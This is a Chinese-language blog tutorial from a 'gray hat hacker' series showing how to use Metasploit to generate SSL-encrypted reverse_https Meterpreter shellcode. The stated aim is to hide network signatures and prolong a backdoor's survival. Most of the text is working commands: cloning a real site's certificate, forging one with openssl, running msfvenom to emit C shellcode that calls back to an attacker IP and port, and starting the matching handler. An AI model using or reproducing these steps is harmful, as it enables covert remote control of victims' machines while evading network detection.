码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 1.3 Metasploit 生成SSL加密载荷


    合集 - 灰帽黑客:攻守道(83)
    1.1.13 导出表劫持ShellCode加载09-012.1.12 进程注入ShellCode套接字09-013.1.10 内存ShellCode注入与格式化08-314.1.9 动态解密ShellCode反弹08-315.1.8 运用C编写ShellCode代码08-306.1.7 完善自定位ShellCode08-307.1.6 编写双管道ShellCode08-298.1.5 编写自定位ShellCode弹窗08-299.1.4 编写简易ShellCode弹窗08-2810.1.3 Metasploit 生成SSL加密载荷08-2811.1.1 Metasploit 工具简介08-2812.5.14 汇编语言:仿写Switch选择结构08-2413.5.13 汇编语言:仿写For循环语句08-2414.5.12 汇编语言:仿写While循环语句08-2415.5.11 汇编语言:仿写IF条件语句08-2416.5.10 汇编语言:汇编过程与结构08-2417.5.9 汇编语言:浮点数操作指令08-2318.5.8 汇编语言:汇编高效除法运算08-2319.5.7 汇编语言:汇编高效乘法运算08-2320.5.6 汇编语言:汇编高效数组寻址08-2321.5.5 汇编语言:函数调用约定08-2222.5.4 汇编语言:算数运算指令集08-2223.5.3 汇编语言:字符串操作指令08-2224.5.2 汇编语言:标志位测试指令08-2225.5.1 汇编语言:汇编语言概述08-2226.4.9 C++ Boost 命令行解析库08-2227.4.8 C++ Boost 应用JSON解析库08-2228.4.7 C++ Boost 多线程并发库08-2129.4.6 C++ Boost 函数绑定回调库08-2130.4.5 C++ Boost 文件目录操作库08-2131.4.4 C++ Boost 数据集序列化库08-2132.4.3 C++ Boost 日期时间操作库08-1833.4.2 C++ Boost 内存池管理库08-1834.4.1 C++ Boost 字符串处理库08-1835.11.1 C++ STL 应用字典与列表08-1736.10.1 C++ STL 模板适配与迭代器08-1737.9.1 C++ STL 排序、算数与集合08-1738.8.1 C++ STL 变易拷贝算法08-1639.7.1 C++ STL 非变易查找算法08-1640.6.1 C++ STL 序列映射容器08-1641.5.1 C++ STL 集合数据容器08-1642.4.1 C++ STL 动态链表容器08-1643.3.1 C++ STL 双向队列容器08-1644.2.1 C++ STL 数组向量容器08-1645.1.1 C++ STL 字符串构造函数08-1646.7.5 C/C++ 实现链表队列08-1547.7.4 C/C++ 实现链表栈08-1548.7.3 C/C++ 实现顺序栈08-1549.7.2 C/C++ 实现动态链表08-1550.7.1 C/C++ 实现动态数组08-1551.9.0 Python 内置模块应用08-1452.8.0 Python 使用进程与线程08-1453.7.0 Python 面向对象编程08-1454.6.0 Python 使用函数装饰器08-1455.5.0 Python 定义并使用函数08-1356.4.0 Python 变量与作用域08-1357.3.0 Python 迭代器与生成器08-1258.2.0 Python 数据结构与类型08-1159.21.1 使用PEfile分析PE文件08-1060.1.0 Python 标准输入与输出08-0961.1.8 运用C编写ShellCode代码07-1362.5.2 基于ROP漏洞挖掘与利用07-1263.5.1 缓冲区溢出与攻防博弈07-1264.2.0 熟悉CheatEngine修改器07-1165.4.9 x64dbg 内存处理与差异对比07-1166.4.10 x64dbg 反汇编功能的封装07-1167.4.8 x64dbg 学会扫描应用堆栈07-1068.4.7 x64dbg 应用层的钩子扫描07-1069.4.6 x64dbg 内存扫描与查壳实现07-0970.4.5 x64dbg 探索钩子劫持技术07-0971.4.4 x64dbg 绕过反调试保护机制07-0872.4.3 x64dbg 搜索内存可利用指令07-0773.4.2 x64dbg 针对PE文件的扫描07-0774.4.1 探索LyScript漏洞挖掘插件07-0675.1.5 为x64dbg编写插件07-0676.1.1 熟悉x64dbg调试器07-0677.1.7 完善自定位ShellCode后门07-0578.1.6 编写双管道ShellCode后门07-0479.1.5 编写自定位ShellCode弹窗07-0380.1.4 编写简易ShellCode弹窗07-02
    81.1.3 Metasploit 生成SSL加密载荷07-01
    82.1.1 Metasploit 工具简介06-3083.2.1 PE结构:文件映射进内存09-04
    收起

    在本节中,我们将介绍如何通过使用Metasploit生成加密载荷,以隐藏网络特征。前一章节我们已经通过Metasploit生成了一段明文的ShellCode,但明文的网络传输存在安全隐患,因此本节将介绍如何通过生成SSL证书来加密ShellCode,使得网络特征得到隐藏,从而提高后门的生存能力和抵抗网络特征分析的能力。

    ShellCode 网络特征加密我们采用的是SSL(Secure Sockets Layer),现已被替换为TLS(Transport Layer Security),SSL是一种用于在Web上传输数据的安全协议。它的主要目的是确保在互联网上传输的数据在传递过程中不会被第三方窃取或篡改。SSL加密的原理是通过两个公钥和一个私钥来加密数据。公钥用于加密数据,私钥用于解密数据。在传输过程中,发送者使用接收者的公钥对数据进行加密,接收者使用自己的私钥对数据进行解密。这样,即使在网络上被窃取,数据也无法被第三方解密,从而保证了数据的安全性。

    通常,SSL证书由以下几部分组成:

    • 证书主体:证明证书拥有者的信息,如域名、组织名称等。
    • 公钥:用于加密数据的公钥。
    • 私钥:用于解密数据的私钥,需要在安全的环境中保存。
    • 签名:证明证书内容是由可信任的证书颁发机构签发的。
    • 有效期:证明证书的有效期,在该期限内有效。
    • 颁发者:证明证书的颁发者,如VeriSign、GoDaddy等。

    1.3.1 通过MSF模块克隆证书

    要想实现加密通常我们需要获取一个专属的证书文件,获取证书的方式有两种,第一种方式是通过Impersonate_SSL模块,对已有证书进行下载操作,如下命令实现了将www.lyshark.com网站中的证书下载到本地的功能,

    msf6 > use auxiliary/gather/impersonate_ssl
    msf6 > set rhost www.lyshark.com
    msf6 > run
    

    当读者执行命令后,则该证书将被下载到home/lyshark/.msf4/loot/目录下,其中包含了证书的key,crt,pem等文件,输出如下图所示;

    当具备了克隆证书后,读者可在Metasploit中交互式执行如下命令实现生成带有加密功能的ShellCode代码,如下代码中通过HANDLERSSLCERT指定证书位置,并通过generate生成C语言版ShellCode代码。

    msf6 > use payload/windows/meterpreter/reverse_https
    msf6 > set STAGERVERIFYSSLCERT true
    msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
    msf6 > set LHOST 192.168.9.135
    msf6 > set lport 8443
    msf6 > generate -f c
    

    而对于服务端来说,在传递参数时,读者同样需要在HANDLERSSLCERT中传递私有证书,

    msf6 > use exploit/multi/handler
    msf6 > set payload windows/meterpreter/reverse_https
    msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
    msf6 > set STAGERVERIFYSSLCERT true
    msf6 > set LPORT 8443
    msf6 > set LHOST 192.168.140.128
    msf6 > run -j
    

    1.3.2 通过OpenSSL制作证书

    当然读者也可用通过kali系统内自带的openssl命令生成一个新的伪造证书,OpenSSL是一个开源的安全工具,用于实现SSL/TLS协议。它提供了一系列命令行工具,可以用于生成证书、加密数据、解密数据等操作。

    首先使用第一种方式生成,下面是各个参数的详细解释:

    • req:指定生成证书请求。
    • new:指定生成一个新的证书请求。
    • newkey rsa:4096:指定生成的证书的密钥长度为4096位。
    • days 365:指定证书的有效期为365天。
    • nodes:指定不加密私钥。
    • x509:指定生成的证书类型为X.509证书。
    • subj “/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com”:指定证书主题信息,其中C=UK代表国家,ST=London代表省份,L=London代表城市,O=Development代表组织,CN=www.lyshark.com代表通用名称。
    • keyout www.lyshark.com.key:指定输出的私钥文件名。
    • out www.lyshark.com.crt:指定输出的证书文件名。

    通过这条命令,可以生成一个有效期为365天,密钥长度为4096位的X.509证书,证书主题信息为"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私钥文件名为www.lyshark.com.key,证书文件名为www.lyshark.com.crt。

    ┌──(lyshark㉿kali)-[~/lyshark]
    └─$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj \
    "/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com" \
    -keyout www.lyshark.com.key -out www.lyshark.com.crt
    
    ┌──(lyshark㉿kali)-[~/lyshark]
    └─$ cat www.lyshark.com.key www.lyshark.com.crt > www.lyshark.com.pem
    

    接着读者可执行msfvenom命令通过非交互方式生成一段加密版的ShellCode代码片段。

    ┌──(lyshark㉿kali)-[~/lyshark]
    └─$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.9.135 LPORT=8443 \
    PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \
    HandlerSSLCert=/root/test/www.lyshark.com.pem \
    StagerVerifySSLCert=true -f c -o /root/test.c
    

    服务端启用侦听模式,并通过HandlerSSLCert传入同样的证书私钥即可。

    msf6 > use exploit/multi/handler
    msf6 > set payload windows/meterpreter/reverse_https
    msf6 > set LHOST 192.168.9.135
    msf6 > set LPORT 8443
    msf6 > set HandlerSSLCert /root/test/www.baidu.com.pem
    msf6 > set StagerVerifySSLCert true
    msf6 > exploit -j -z
    
  • 相关阅读:
    Win10 WSL2 ubuntu20.04编译apollo
    基于图搜索的规划算法之Voronoi图法
    使用selenium调用firefox提示Profile Missing的问题解决
    思科认证和华为认证到底选择哪个更合适啊?
    文件的逻辑结构(顺序文件,索引文件)
    论文解读(SUGRL)《Simple Unsupervised Graph Representation Learning》
    Mybatis:ORM
    4.构造类型,类型转换
    SOLIDWORKS功能布局实用技巧之保存实体技术
    Apache反向代理的功能和設置
  • 原文地址:https://www.cnblogs.com/LyShark/p/17519261.html
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号